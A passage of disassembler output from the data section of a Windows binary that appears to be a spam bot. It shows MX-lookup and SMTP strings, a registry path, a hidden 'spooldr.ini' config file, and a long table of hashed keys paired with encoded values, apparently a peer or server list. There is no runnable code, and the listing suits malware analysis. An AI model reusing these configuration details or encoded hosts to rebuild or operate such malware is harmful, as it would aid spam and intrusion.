sub_408DB8+93r ... dword_4181E4 dd 80000003h ; DATA XREF: sub_401351+72r ; sub_4017C3+148r ... dword_4181E8 dd 80000009h ; DATA XREF: sub_4011ED+7r ; sub_401592+25r ... dword_4181EC dd 80000008h ; DATA XREF: sub_401219+Cr ; sub_40DA80+1Fr dd 2 dup(0) aBadAllocation db 'bad allocation',0 ; DATA XREF: .data:004216C6o ; .data:004217FEo ... align 4 asc_418208: ; DATA XREF: sub_401B3F+37o ; sub_401B9A+5Ao dw 3Eh unicode 0, <>,0 asc_41820C: ; DATA XREF: sub_401B3F+22o ; sub_401B9A+28o dw 3Ch unicode 0, <>,0 asc_418210: ; DATA XREF: sub_4022BE+Do ; sub_405440+167o ... dw 0Ah unicode 0, <>,0 asc_418214 db '^%',0 ; DATA XREF: sub_401FF5+59o ; sub_402624+17Eo align 4 aT db '%^T',0 ; DATA XREF: sub_401FF5+3Fo ; sub_402624+183o off_41821C dd offset sub_409438 ; DATA XREF: sub_4021BF+6o ; sub_40951B+9o off_418220 dd offset sub_40CC7C ; DATA XREF: sub_4021DE+7o ; sub_402400+9o aYahoo_com db 'yahoo.com',0 ; DATA XREF: sub_402624+41Eo align 10h aCanTGetMx db 'Can',27h,'t get mx',0 ; DATA XREF: sub_402624:loc_402947o align 10h aTcpConnectionI db 'TCP connection is failed',0 ; DATA XREF: sub_402624+2BFo align 4 a@: ; DATA XREF: sub_402624+240o ; sub_40906B+73o unicode 0, <@>,0 aFrom db 'From: ',0 ; DATA XREF: sub_402624+1ACo align 4 asc_418268: ; DATA XREF: sub_402624+86o unicode 0, <;>,0 a89a db '89a',0 ; DATA XREF: sub_402DEC+6o aSoftwareMicros db 'Software\Microsoft\Windows\ITStorage\Finders',0 align 10h aCounter db 'Counter',0 aId db 'ID',0 align 4 aConfig db 'config',0 ; DATA XREF: sub_402FCB:loc_403043o align 4 aSpooldr_ini db '\spooldr.ini',0 ; DATA XREF: sub_402FCB+2Ao align 4 aFf9b63e22ab088 db 'FF9B63E22AB088EE458F1586A34CFA06=5102D18814B200',0 ; DATA XREF: .data:004216BEo aFdd38b10a85983 db 'FDD38B10A859838455DF59392B3C3F71=51398792233800',0 ; DATA XREF: .data:004216BAo aFd6a5500dc3ed6 db 'FD6A5500DC3ED6A4E8398E3580A974FA=48249272325D00',0 ; DATA XREF: .data:004216B6o aF63edccbdcaf1a db 'F63EDCCBDCAF1A1E79DEC78C8666B552=58BF0F50468500',0 ; DATA XREF: .data:004216B2o aF63c699d886487 db 'F63C699D886487A8950E570D294EDFE1=9A2542D11EBF00',0 ; DATA XREF: .data:004216AEo aF4842dae3b27f1 db 'F4842DAE3B27F129678E1847263CAB26=54506DCB17E801',0 ; DATA XREF: .data:004216AAo aF3032da7f7c1e9 db 'F3032DA7F7C1E94A4FE9D59838C67D40=51F81AD24EA800',0 ; DATA XREF: .data:004216A6o aF0222ed187b89a db 'F0222ED187B89A45427F9A8312B646CE=47720006DF7200',0 ; DATA XREF: .data:004216A2o aEfc52cb260c525 db 'EFC52CB260C525686B94C69A7AEFE8D9=D5701466340F00',0 ; DATA XREF: .data:0042169Eo aEdcc5d8c0a6119 db 'EDCC5D8C0A61192AF490034A3FEE6CC5=47859A61297400',0 ; DATA XREF: .data:0042169Ao aEce5265115f6ed db 'ECE5265115F6ED93B18CBDCFB8D6726A=D9A0D0C9BD6A00',0 ; DATA XREF: .data:00421696o aEcc7022cdfea11 db 'ECC7022CDFEA11C6FB0F3849B8B89EFA=D9083D440ECD00',0 ; DATA XREF: .data:00421692o aEc9655ad1633bc db 'EC9655AD1633BCF292DEA3C8AA0424AB=9A2542771EBF00',0 ; DATA XREF: .data:0042168Eo aEc7668f77fb7b2 db 'EC7668F77FB7B21921A0EA296001E8A9=55D628A9092A00',0 ; DATA XREF: .data:0042168Ao aEc2a6b3fb6dd91 db 'EC2A6B3FB6DD91ACA9F6AF5ACA529BD2=9A25428C1EBF00',0 ; DATA XREF: .data:00421686o aEc2a6b3f7394f2 db 'EC2A6B3F7394F206EFBAF7D81A939E8A=9A2542A31EBF00',0 ; DATA XREF: .data:00421682o aEafb6e5161b90f db 'EAFB6E5161B90F231562FCDAAF91BBFB=51CB929E123500',0 ; DATA XREF: .data:0042167Eo aEa5a9e8a505184 db 'EA5A9E8A505184B578217ECE5936544B=9729CADB2A3B00',0 ; DATA XREF: .data:0042167Ao aE9fa780a2994eb db 'E9FA780A2994EB62416C8129B9F9EC6F=570ACA3C7BEE00',0 ; DATA XREF: .data:00421676o aE7c3aa73cd0a25 db 'E7C3AA73CD0A254E96E34049FBEFA8B1=43AAD668210D00',0 ; DATA XREF: .data:00421672o aE556b979239296 db 'E556B97923929644771748B42FD26392=554CFC8A28F700',0 ; DATA XREF: .data:0042166Eo aE158e029ac911a db 'E158E029AC911A8DE5B5881D10945BBF=5410EF6E306A00',0 ; DATA XREF: .data:0042166Ao aDfa8a5fd169cb0 db 'DFA8A5FD169CB024698812DFC82D0BC3=5237DCD4D5A700',0 ; DATA XREF: .data:00421666o aDebf8cd5eadb78 db 'DEBF8CD5EADB7851B6B7248D42539089=5243A81C0BE300',0 ; DATA XREF: .data:00421662o aDc6f745290beba db 'DC6F745290BEBAA748D3F00DB4F22FCF=5576295D1A1700',0 ; DATA XREF: .data:0042165Eo aDbeca12575d940 db 'DBECA12575D94025189E76F00A531A48=5361B595405000',0 ; DATA XREF: .data:0042165Ao aD9d364a2c8a83e db 'D9D364A2C8A83E4D597980AB19EE4143=5092420E1D4700',0 ; DATA XREF: .data:00421656o aD6e46bf02e64d9 db 'D6E46BF02E64D940E37EECCC982584A8=C952381B268200',0 ; DATA XREF: .data:00421652o aD6c0099f2169f3 db 'D6C0099F2169F32CE55ED21924FE6057=5283D98A7CAF00',0 ; DATA XREF: .data:0042164Eo aD6934d7f3db32f db 'D6934D7F3DB32F5581D15797CDFEE3FB=557E8CB228C000',0 ; DATA XREF: .data:0042164Ao aD66704abef6a50 db 'D66704ABEF6A500D397E855BC2C2574D=51FB820C250800',0 ; DATA XREF: .data:00421646o aD54fc3b6e05953 db 'D54FC3B6E05953669E501C429BDE1F6F=9A2542D21EBF00',0 ; DATA XREF: .data:00421642o aD4b82f18dd5cbd db 'D4B82F18DD5CBDAAA59F5FC49261BD02=9A2542D21EBF00',0 ; DATA XREF: .data:0042163Eo aD467669620891f db 'D467669620891F5A66FB3CEE27809A49=9A2542771EBF00',0 ; DATA XREF: .data:0042163Ao aD43c3e7b2c52e4 db 'D43C3E7B2C52E41014DFA8BC662A4B8D=185B0DEB115D00',0 ; DATA XREF: .data:00421636o aD1d63c21d16b78 db 'D1D63C21D16B788A11968552F6B91CA5=DB078A2A0FA901',0 ; DATA XREF: .data:00421632o aC628680846880e db 'C628680846880E5461FC21E9F312DC5F=C1C624033CD800',0 ; DATA XREF: .data:0042162Eo aC5ea4fbb304662 db 'C5EA4FBB30466219CB2AD209F824DB49=529FF721106600',0 ; DATA XREF: .data:0042162Ao aC5cbaebc1c824d db 'C5CBAEBC1C824DE1E50360E9534557E2=8D1E7B2A123700',0 ; DATA XREF: .data:00421626o aC5819fe95ffb46 db 'C5819FE95FFB46C9CA1800AA4E35F463=51587579D0BC00',0 ; DATA XREF: .data:00421622o aC4f524b53fcd38 db 'C4F524B53FCD381559DD41A5664FBDD0=5313AC1E3C6D00',0 ; DATA XREF: .data:0042161Eo aC3d0e5e02624fa db 'C3D0E5E02624FAF838E8588B0AC45EE5=3E10E9E5109100',0 ; DATA XREF: .data:0042161Ao aC35201fc07b335 db 'C35201FC07B335F9B39A6A0728F7B901=5410EA4B2EF500',0 ; DATA XREF: .data:00421616o aC0fc7f035ae9b8 db 'C0FC7F035AE9B858D1F606D0941E4D70=557625A2319900',0 ; DATA XREF: .data:00421612o aC064ff7ef92cef db 'C064FF7EF92CEF035B87971C204A5609=451ABF221EBF00',0 ; DATA XREF: .data:0042160Eo aBca6c406e11bf6 db 'BCA6C406E11BF6FE8F8D72527380FCCD=540956992F1500',0 ; DATA XREF: .data:0042160Ao aB8a703c8c86027 db 'B8A703C8C86027F4D2E817C52D2369CB=52E1C2564F6D00',0 ; DATA XREF: .data:00421606o aB748dcbafe8a12 db 'B748DCBAFE8A126652C4FC1E074F9FA4=18E87FA9262000',0 ; DATA XREF: .data:00421602o aB611ab4ec23f70 db 'B611AB4EC23F7057E1725F29C9DEF423=C828B6C6102C00',0 ; DATA XREF: .data:004215FEo aB42b1baeba4577 db 'B42B1BAEBA45778F36503B2A9C2F6115=51AE0C602E3300',0 ; DATA XREF: .data:004215FAo aB135eed1e9d187 db 'B135EED1E9D187207E55AF224882AF01=D5FB84222B0200',0 ; DATA XREF: .data:004215F6o aAf8bc74e760330 db 'AF8BC74E760330C37AC14F9617061260=442A96AB298500',0 ; DATA XREF: .data:004215F2o aAcc95c4dd02646 db 'ACC95C4DD026468296F67767F1B4F340=53DE0E7213B600',0 ; DATA XREF: .data:004215EEo aAba112b2273d4e db 'ABA112B2273D4E120EB1B4D52B6C8D6D=543AB144176E00',0 ; DATA XREF: .data:004215EAo aA96f9c44b267be db 'A96F9C44B267BE0637B7704B955897F9=7CF07EFC150C00',0 ; DATA XREF: .data:004215E6o aA8b1f19854237e db 'A8B1F19854237E43E2F0F970C257E589=CFD41A031EBF00',0 ; DATA XREF: .data:004215E2o aA881fb2abbde65 db 'A881FB2ABBDE65AE27EA89A942BBF7FC=DCF07B9B18B400',0 ; DATA XREF: .data:004215DEo aA637e705b3db17 db 'A637E705B3DB170D229938B56F2D653D=865F8001501300',0 ; DATA XREF: .data:004215DAo aA541421b64195e db 'A541421B64195ED166C67A5880B05A1D=9A2542A41EBF00',0 ; DATA XREF: .data:004215D6o aA25314c38ca23e db 'A25314C38CA23E425A987E58D81C33B8=3E83F22D126F00',0 ; DATA XREF: .data:004215D2o a9bb8cf766d9cc7 db '9BB8CF766D9CC708910FCCD1D96540B8=425A4FE215EF00',0 ; DATA XREF: .data:004215CEo a9b7d53ad0d64f9 db '9B7D53AD0D64F95BF7FDF3546A218AF3=C2E2C0972EF701',0 ; DATA XREF: .data:004215CAo a99a9ec9ae01525 db '99A9EC9AE015254171284F084DC1DAB5=C36F024640FC00',0 ; DATA XREF: .data:004215C6o a989b9796115263 db '989B97961152633B8D9EAD9BA943C74A=CFD26A7319BD00',0 ; DATA XREF: .data:004215C2o a912f5c9fa5ad21 db '912F5C9FA5AD218F9873336FF98F5EAA=9A2542751EBF00',0 ; DATA XREF: .data:004215BEo a8f810df4de0d27 db '8F810DF4DE0D2717F459C6A57ADA735B=55EA252B0E7900',0 ; DATA XREF: .data:004215BAo a8ec2feebb26816 db '8EC2FEEBB26816C7F65273A0DE8557C2=5084E22C0DD200',0 ; DATA XREF: .data:004215B6o a8ba1fe0328ee13 db '8BA1FE0328EE13E0160F957077230834=57EA90D04DF100',0 ; DATA XREF: .data:004215B2o a8a859746290b3b db '8A859746290B3BD8B7C8FF4C97DF994A=52E795D62E4B00',0 ; DATA XREF: .data:004215AEo a87c51c51b862f2 db '87C51C51B862F2063265D4E062D7B5D5=3E2D041A21D901',0 ; DATA XREF: .data:004215AAo a86c635d5bca725 db '86C635D5BCA725E86B0202923FA44A17=D42A5B524E2600',0 ; DATA XREF: .data:004215A6o a869350dca00dc7 db '869350DCA00DC705B5578B11C8B9D623=58019C71217B00',0 ; DATA XREF: .data:004215A2o a8498a5bf236586 db '8498A5BF2365869842CCA5F36C9C718D=3E79716133F600',0 ; DATA XREF: .data:0042159Eo a848ae2bcc4c0fb db '848AE2BCC4C0FB8C03F88F311A674D14=C2E7BDA10FAF00',0 ; DATA XREF: .data:0042159Ao a8405a510dc81e5 db '8405A510DC81E57198EC023D0574413B=51CC816C155C00',0 ; DATA XREF: .data:00421596o a82b095829d2b64 db '82B095829D2B649698A8FD849D1585BB=83720DE6606E00',0 ; DATA XREF: .data:00421592o a8118b0cce7a714 db '8118B0CCE7A714CA48C3D96C4C907027=C122902E4B4800',0 ; DATA XREF: .data:0042158Eo a81087f696a182a db '81087F696A182A12B2BE026E32BDCCFD=523B4D151B7900',0 ; DATA XREF: .data:0042158Ao a80e027a3a3f469 db '80E027A3A3F469BBC35770626C58A763=528FEDAF0A8000',0 ; DATA XREF: .data:00421586o a80dc4ed17010eb db '80DC4ED17010EB949C6D67A22BD5337B=51381C3415A400',0 ; DATA XREF: .data:00421582o a80a32744a44a33 db '80A32744A44A3359F3F4B39D19E8E32B=53258C841C4400',0 ; DATA XREF: .data:0042157Eo a8024083af066b9 db '8024083AF066B98A86BF0B0BF1135EF7=55198859159800',0 ; DATA XREF: .data:0042157Ao a800ac0a424daac db '800AC0A424DAAC3BD40ED7182F740BA7=58BF146654AC00',0 ; DATA XREF: .data:00421576o a7faea639d8ff81 db '7FAEA639D8FF81C851368B0B7681E0D5=5576216F294400',0 ; DATA XREF: .data:00421572o a7faaf26bff7ad4 db '7FAAF26BFF7AD4116969C15D9206DE6C=D3C9B441210900',0 ; DATA XREF: .data:0042156Eo a7f7f20b452ab34 db '7F7F20B452AB34CC96F555A97FF755DC=D8979B1C1EBF01',0 ; DATA XREF: .data:0042156Ao a7f212ceb33954f db '7F212CEB33954F743DA5D0191122B0B4=9A2542BB1EBF00',0 ; DATA XREF: .data:00421566o a7f1439ccfddc5a db '7F1439CCFDDC5A3F60C4B2436F83F05C=57A7BED628D100',0 ; DATA XREF: .data:00421562o a7f0f970984cd3b db '7F0F970984CD3BC599F6C652ABD32C60=57016667107900',0 ; DATA XREF: .data:0042155Eo a7ee8f4e5034654 db '7EE8F4E503465493CDAF0BE0D602074C=7C964B7E2A2600',0 ; DATA XREF: .data:0042155Ao a7ed9a363bd1352 db '7ED9A363BD13528121EA0114C8165CA8=CA475D0E18B700',0 ; DATA XREF: .data:00421556o a7eab03cdaa54c3 db '7EAB03CDAA54C3A230F0A41AB4E58A5D=54791E821B3300',0 ; DATA XREF: .data:00421552o a7e054ddd886745 db '7E054DDD886745A6451AB40B47BD0D77=9A2542771EBF00',0 ; DATA XREF: .data:0042154Eo a7e054ddd830240 db '7E054DDD830240071DCE4EC2785439CF=9A2542D21EBF00',0 ; DATA XREF: .data:0042154Ao a7d4f37d1bdbbaf db '7D4F37D1BDBBAF7DC0E1F1D4A8A8607D=18B9268F123900',0 ; DATA XREF: .data:00421546o a7d39485c9216f0 db '7D39485C9216F0246F4A32031F8FA521=9A2542A41EBF00',0 ; DATA XREF: .data:00421542o a7d161a0ea7198c db '7D161A0EA7198C0D689767A76297B9AB=52F59DF82F8700',0 ; DATA XREF: .data:0042153Eo a7c96071c0402ec db '7C96071C0402ECC40DD0AD08913CF140=55F9E140255900',0 ; DATA XREF: .data:0042153Ao a7c1e3b45674301 db '7C1E3B4567430161CAFC1912FFF73AFD=D1DE363729FB00',0 ; DATA XREF: .data:00421536o a7c1de1032ec72e db '7C1DE1032EC72ED20DDC1DBE62CDB5F5=CFD41A031EBF00',0 ; DATA XREF: .data:00421532o a7bd571d08d7846 db '7BD571D08D784662E96F7BAE7F7F17B3=5439B5C21C3600',0 ; DATA XREF: .data:0042152Eo a7aced55252b211 db '7ACED55252B2112BE6E0FEA80EF10183=48E889122DD400',0 ; DATA XREF: .data:0042152Ao a7ac175f123506d db '7AC175F123506D5B3088EAB200DBE815=DC4EB13A211100',0 ; DATA XREF: .data:00421526o a7a8c61ed8b6a6d db '7A8C61ED8B6A6DB0714283D1232C04D0=CFD41A031EBF00',0 ; DATA XREF: .data:00421522o a7a8c61ed8a035d db '7A8C61ED8A035D29AB2894D7ECC2EC9D=9A2542D21EBF00',0 ; DATA XREF: .data:0042151Eo a7a8c61ed211c35 db '7A8C61ED211C35FDDD46E4ABDC6957FE=9A2542A31EBF00',0 ; DATA XREF: .data:0042151Ao a7a8c61ed143af6 db '7A8C61ED143AF668972901FDED24595C=42AC3C661EBF00',0 ; DATA XREF: .data:00421516o a79c42e4083049a db '79C42E4083049ABC1C5A74D60EF8786F=40E54B9E283D00',0 ; DATA XREF: .data:00421512o a7997f7da9bcad9 db '7997F7DA9BCAD904EE9E3A8C9145D25F=54DF0C1E112B00',0 ; DATA XREF: .data:0042150Eo a77fe64dbe32a4a db '77FE64DBE32A4A191F20418E5A58C63E=3E017AF044E400',0 ; DATA XREF: .data:0042150Ao a76a924aaa9aa96 db '76A924AAA9AA9635A131F96C2282CBE2=51CA2F30274600',0 ; DATA XREF: .data:00421506o a764628faded520 db '764628FADED52018202266AE46628EF3=58BF1C30160A00',0 ; DATA XREF: .data:00421502o a749bac5681fbd9 db '749BAC5681FBD9FFDE4E55455EB19347=5461DF66149700',0 ; DATA XREF: .data:004214FEo a743bdfffa701b0 db '743BDFFFA701B05B63A580FE836422BB=53A58D811ACB00',0 ; DATA XREF: .data:004214FAo a73860b10104260 db '73860B10104260C684FC4B5EAF57DC7F=8002DF024C1D00',0 ; DATA XREF: .data:004214F6o a72e9ee54ae2d7a db '72E9EE54AE2D7AE4A3A459C1E0AC3A6B=7D831DB01FAD00',0 ; DATA XREF: .data:004214F2o a71cc7aa04be674 db '71CC7AA04BE67418F10BFBE4ADB1BACF=57054CCF15C100',0 ; DATA XREF: .data:004214EEo a71bfe91aa80973 db '71BFE91AA8097381A4C18AC48C3EB793=5125FD2D181C00',0 ; DATA XREF: .data:004214EAo a714a0e07bc71c5 db '714A0E07BC71C5A4E5320D6707CC7AA9=7D19CB8C1B8B00',0 ; DATA XREF: .data:004214E6o a701d9df6104353 db '701D9DF61043539B0DC6A0738694C97F=4CA942900E5100',0 ; DATA XREF: .data:004214E2o a6ecd3b7d9e8f8b db '6ECD3B7D9E8F8B067A0000DB5AA95AC6=C1EE6D1033B200',0 ; DATA XREF: .data:004214DEo a6e9c82b0f46e1f db '6E9C82B0F46E1FDE9C1F52B503693AED=416416AC2D3B00',0 ; DATA XREF: .data:004214DAo a6d01af996de68b db '6D01AF996DE68B99E93D66AD02330494=3EEA33B41AA000',0 ; DATA XREF: .data:004214D6o a6cef093aaadd51 db '6CEF093AAADD5162660E0A3EF24AB0DA=5313A5F33F5B00',0 ; DATA XREF: .data:004214D2o a6b5da93809dc61 db '6B5DA93809DC615F73BCC044148BFA0D=5461D023309600',0 ; DATA XREF: .data:004214CEo a6afdb0c101555c db '6AFDB0C101555CD2A05855A3CB7DFD67=42611D212E0300',0 ; DATA XREF: .data:004214CAo a6a96ed026488b0 db '6A96ED026488B02FB83DC3A495337BED=54CD027522CE00',0 ; DATA XREF: .data:004214C6o a6a77b0571e8453 db '6A77B0571E845354B459485456CE1C80=1817E99E187100',0 ; DATA XREF: .data:004214C2o a68ac92fdda9949 db '68AC92FDDA9949A1D04EA948C7E2BAE8=5695A2C522F100',0 ; DATA XREF: .data:004214BEo a67bb344b23f292 db '67BB344B23F292E08C2D7AE045D1A37E=55D8E4072F5600',0 ; DATA XREF: .data:004214BAo a675994dd899efd db '675994DD899EFD36FE03C9267407C944=57B8929822BC00',0 ; DATA XREF: .data:004214B6o a670b45d947add6 db '670B45D947ADD6FC97CC8AEDE0DECFEF=5486AECD123800',0 ; DATA XREF: .data:004214B2o a670352b3d6d626 db '670352B3D6D626C8FB2808BDEDD63197=C20F9328345C00',0 ; DATA XREF: .data:004214AEo a669cdd5f3af592 db '669CDD5F3AF59240D79D60C6B3FE9754=DAA9757B137E00',0 ; DATA XREF: .data:004214AAo a6670e7b1f5aea4 db '6670E7B1F5AEA450D22F1E2AA8BC8AF3=5A1B213B2EC300',0 ; DATA XREF: .data:004214A6o a65f88249945b36 db '65F88249945B36F17456F87207B3354E=51ADA4F7260600',0 ; DATA XREF: .data:004214A2o a65c27c9e69b21c db '65C27C9E69B21CFEF5B09FD1E180164A=959C82160E2A00',0 ; DATA XREF: .data:0042149Eo a6487cb6afaee5a db '6487CB6AFAEE5AABAAC7527C50D18438=532D78491F7000',0 ; DATA XREF: .data:0042149Ao a644b518b6c3ac1 db '644B518B6C3AC1085C13DDDE58D06F5E=50ABBB09123500',0 ; DATA XREF: .data:00421496o a6448040809cd5b db '6448040809CD5B93F0BDDB5EECEF1489=440D1208153300',0 ; DATA XREF: .data:00421492o a63ad246f6a0ed5 db '63AD246F6A0ED5187909B549B0459915=5AC54A9B2BC000',0 ; DATA XREF: .data:0042148Eo a62da882d61ca31 db '62DA882D61CA310985742F59FB23354F=53C7D7D3283D00',0 ; DATA XREF: .data:0042148Ao a62a22626d206cd db '62A22626D206CD44AC7DA259EE71D3DB=9A2542D11EBF00',0 ; DATA XREF: .data:00421486o a6277c1df42eccb db '6277C1DF42ECCBD53F0B6A93BD28873D=3E95E3DB39ED00',0 ; DATA XREF: .data:00421482o a6255a178d86d87 db '6255A178D86D87284663C7880DC29670=52E7DF4B0EA500',0 ; DATA XREF: .data:0042147Eo a6229101585a916 db '6229101585A916B2E13D9C990295A397=5449CEE7163B00',0 ; DATA XREF: .data:0042147Ao a61f35d2d48449d db '61F35D2D48449D16CB3F5A1475988C0D=53B448C517F900',0 ; DATA XREF: .data:00421476o a61eb7bf1115af0 db '61EB7BF1115AF08F83610411F84BAC32=529C22741A0A00',0 ; DATA XREF: .data:00421472o a61df8e778ada83 db '61DF8E778ADA832BF835C4B3BF05226E=3EE9C5D62F3100',0 ; DATA XREF: .data:0042146Eo a61da95e1b19795 db '61DA95E1B197957B5C6BD7BBC10DC2C5=5109CCD22D8200',0 ; DATA XREF: .data:0042146Ao a61cbe5c4fcb0fb db '61CBE5C4FCB0FB56417722AE12BC6BC8=9A2542BA1EBF00',0 ; DATA XREF: .data:00421466o a61cbe5c4cb3d73 db '61CBE5C4CB3D735B77590054E92865F3=9A2542BB1EBF00',0 ; DATA XREF: .data:00421462o a61cbe5c49fd188 db '61CBE5C49FD188AEC78FF2C5C50E4982=9A2542BB1EBF00',0 ; DATA XREF: .data:0042145Eo a61cbe5c404f4c7 db '61CBE5C404F4C715C809A8588F42950C=9A2542751EBF00',0 ; DATA XREF: .data:0042145Ao a61c49a07211dfd db '61C49A07211DFDD31D4E3CDEE86BAE70=D3337AAD0DBD00',0 ; DATA XREF: .data:00421456o a61be06c5b48f75 db '61BE06C5B48F750D5C5FF31021E42A59=7DB121080C3700',0 ; DATA XREF: .data:00421452o a61b6799601ad51 db '61B6799601AD511A93D962666E49511F=5955FC93123900',0 ; DATA XREF: .data:0042144Eo a61a7c879595247 db '61A7C879595247BB92E60F15B13F1EDB=DE65F17012A800',0 ; DATA XREF: .data:0042144Ao a61a365b29fc73b db '61A365B29FC73BDF0798840C0A01FF02=97254F3732B500',0 ; DATA XREF: .data:00421446o a61a1c3284bdf59 db '61A1C3284BDF59B8E767EEB2090F113D=3AE78E8827D800',0 ; DATA XREF: .data:00421442o a6193dcd4247dca db '6193DCD4247DCA4A3FEC72AB53558D9D=531600F8104B00',0 ; DATA XREF: .data:0042143Eo a616de9948c33ff db '616DE9948C33FF45A26C1BDA6DB394C6=D8979B341EBF00',0 ; DATA XREF: .data:0042143Ao a616de994002cce db '616DE994002CCE6654D8120675B7F135=CFE270221EBF00',0 ; DATA XREF: .data:00421436o a616b68875103c0 db '616B68875103C0BB211F065C2C76D4B9=9A2542D21EBF00',0 ; DATA XREF: .data:00421432o a616b6887265d41 db '616B6887265D412C1511E733587A5148=9A2542761EBF00',0 ; DATA XREF: .data:0042142Eo a6166394ce35d21 db '6166394CE35D21701FEAF6B92767FD6D=52F1D128138800',0 ; DATA XREF: .data:0042142Ao a61623dc1090472 db '61623DC1090472D0ECA0AC62D1405B99=53A0E5770BC400',0 ; DATA XREF: .data:00421426o a6130cfc2a82ab3 db '6130CFC2A82AB3D56C24306006E77720=525CFD8E1FDB00',0 ; DATA XREF: .data:00421422o a611b7be28d9a38 db '611B7BE28D9A383D04DDBB12A5D482FB=570AA7F01B2F00',0 ; DATA XREF: .data:0042141Eo a6119b4f5fca150 db '6119B4F5FCA150DA2A636BAC90DC3DBF=9A2542A41EBF00',0 ; DATA XREF: .data:0042141Ao a6074c0a6abf7a3 db '6074C0A6ABF7A34A1E1B50030A56BEDA=4B1C8E2B415700',0 ; DATA XREF: .data:00421416o a6038fb7e83fb6d db '6038FB7E83FB6D395E83C78F687BDC9D=53B84FE3314001',0 ; DATA XREF: .data:00421412o a5b37a4c6614b3f db '5B37A4C6614B3F5ECD969FC1B9AE0622=5576253624D001',0 ; DATA XREF: .data:0042140Eo a58f05b7353aa71 db '58F05B7353AA71A4A6442D15A592A2DB=51F44E5D0D7D00',0 ; DATA XREF: .data:0042140Ao a58edc526369c14 db '58EDC526369C14605039C4FDB1ACEA4E=50667F6622B900',0 ; DATA XREF: .data:00421406o a58c37ea9ed4e70 db '58C37EA9ED4E7025E76D260D51080C77=9A2542BA1EBF00',0 ; DATA XREF: .data:00421402o a58913b1fe16517 db '58913B1FE16517356C80CA4BD9728F6E=9A2542BA1EBF00',0 ; DATA XREF: .data:004213FEo a58465a764eb26e db '58465A764EB26E70F82AE3BB5B7004C2=52F1D128138800',0 ; DATA XREF: .data:004213FAo a57c3d60dc7674a db '57C3D60DC7674ACC77CFF277CC1784BE=503E9514205000',0 ; DATA XREF: .data:004213F6o a5788f90b56e320 db '5788F90B56E3202D6B6C6ADEEB75F1A1=3DE4C9DE105700',0 ; DATA XREF: .data:004213F2o a52a7652ac5427b db '52A7652AC5427B8092E3F1E672A61AD5=52540CB52A1700',0 ; DATA XREF: .data:004213EEo a524185a0bcfffb db '524185A0BCFFFBA8F297CF9FF7073C59=9A2542BB1EBF00',0 ; DATA XREF: .data:004213EAo a5228aa8a67447f db '5228AA8A67447FCD922010E6231E4BD9=545E5C6A1F2F00',0 ; DATA XREF: .data:004213E6o a51811d31ead20d db '51811D31EAD20DF719086D163F45E36A=5074A3C12F5300',0 ; DATA XREF: .data:004213E2o a50a8ad9acfa5dd db '50A8AD9ACFA5DDC36C1B19E7EE7619A9=C3D0D0174B8400',0 ; DATA XREF: .data:004213DEo a4f51da3ee07926 db '4F51DA3EE079260F9CA0978DB757A7AD=5410E6A2391300',0 ; DATA XREF: .data:004213DAo a4d5ff87440e058 db '4D5FF87440E05875B4534DE2BC165E0B=C3924039450B00',0 ; DATA XREF: .data:004213D6o a4d063a7474e003 db '4D063A7474E00350764F9446DA93BA40=D8E072D22CD500',0 ; DATA XREF: .data:004213D2o a4981ceb970143d db '4981CEB970143D3001C63B41F0CAFAE2=547314CD123B00',0 ; DATA XREF: .data:004213CEo a490396794d0e01 db '490396794D0E01B566DA158FCEBFCE2C=D882BCA81D7100',0 ; DATA XREF: .data:004213CAo a47fb594325896f db '47FB594325896FF85E1A4DF1FED6863E=52E76B6C0D3F00',0 ; DATA XREF: .data:004213C6o a47094a67556b63 db '47094A67556B63901B15580A2FC4C5B8=5240A9550E8200',0 ; DATA XREF: .data:004213C2o a4486277e649fb7 db '4486277E649FB75D31AEFD34C95139FE=A13577111DF800',0 ; DATA XREF: .data:004213BEo a429cfc080d6f2a db '429CFC080D6F2AC7340D5578CA9139B8=531DD9E90BD100',0 ; DATA XREF: .data:004213BAo a41ba477df4ccd1 db '41BA477DF4CCD15367A0A043B36ACA91=52EE1A764B6A00',0 ; DATA XREF: .data:004213B6o a408fdddba198cb db '408FDDDBA198CBD47B591DF87A74407C=59DC007F44C600',0 ; DATA XREF: .data:004213B2o a4075531a59407a db '4075531A59407A4E08082FB9D74A6013=DA2554940EF300',0 ; DATA XREF: .data:004213AEo a3e25afc61075ac db '3E25AFC61075AC4181B860F53E39F52B=51CA871425A300',0 ; DATA XREF: .data:004213AAo a3e2372fab58157 db '3E2372FAB58157944FB3FC34FF36FBE3=3ECC7884102800',0 ; DATA XREF: .data:004213A6o a3ddfa96d279a4f db '3DDFA96D279A4F33EB4989EBD4A2890D=D9E56BA1161500',0 ; DATA XREF: .data:004213A2o a3cf4e05209af8a db '3CF4E05209AF8A0422187805010D1CCB=50B2DCBB123B00',0 ; DATA XREF: .data:0042139Eo a3c74596628f2cc db '3C74596628F2CC47B01F43304991705C=9A2542A41EBF00',0 ; DATA XREF: .data:0042139Ao a3c6e0a0e2c3ff2 db '3C6E0A0E2C3FF28576949CD2F52BDA48=54897AC0193B00',0 ; DATA XREF: .data:00421396o a3b9aba5197da40 db '3B9ABA5197DA4030E857B6448D051337=D97F51FE272800',0 ; DATA XREF: .data:00421392o a3abd9bbe51130f db '3ABD9BBE51130F44538F529170743384=547BA66A10F800',0 ; DATA XREF: .data:0042138Eo a36f5a502111d41 db '36F5A502111D412EC88799A626617225=D9D8BE3D135200',0 ; DATA XREF: .data:0042138Ao a3671f8f0d1825e db '3671F8F0D1825E30F992D802052B1B57=5428DD242C1800',0 ; DATA XREF: .data:00421386o a36046d68c6ee1a db '36046D68C6EE1A574F8CD9995269D142=453F3CAA0CEF00',0 ; DATA XREF: .data:00421382o a35b4228aeaf57e db '35B4228AEAF57E552C8129AC6173DE2D=3E70642C123600',0 ; DATA XREF: .data:0042137Eo a35a3f4fa5532dc db '35A3F4FA5532DCF085EC5B8A51DE230C=D9FFEEEE4FA800',0 ; DATA XREF: .data:0042137Ao a355196e8c03c69 db '355196E8C03C69EF694A6CA93633FF43=7C6FF124237C00',0 ; DATA XREF: .data:00421376o a350eed1e99d7a1 db '350EED1E99D7A1517314504218F5D2C4=5410E1134D9A00',0 ; DATA XREF: .data:00421372o a3463f37e18d293 db '3463F37E18D2937782A521F1E7432786=9A2542771EBF00',0 ; DATA XREF: .data:0042136Eo a34330744ce204a db '34330744CE204A98BBD9DBEEDE484E9B=599122472A4D00',0 ; DATA XREF: .data:0042136Ao a333743c57c12cf db '333743C57C12CF0A339C65F3BA808F30=5125D6A1211301',0 ; DATA XREF: .data:00421366o a3258227eef02ca db '3258227EEF02CADB160A71E53E056E67=DC5698F91D2100',0 ; DATA XREF: .data:00421362o a30f5b8c6ff81ec db 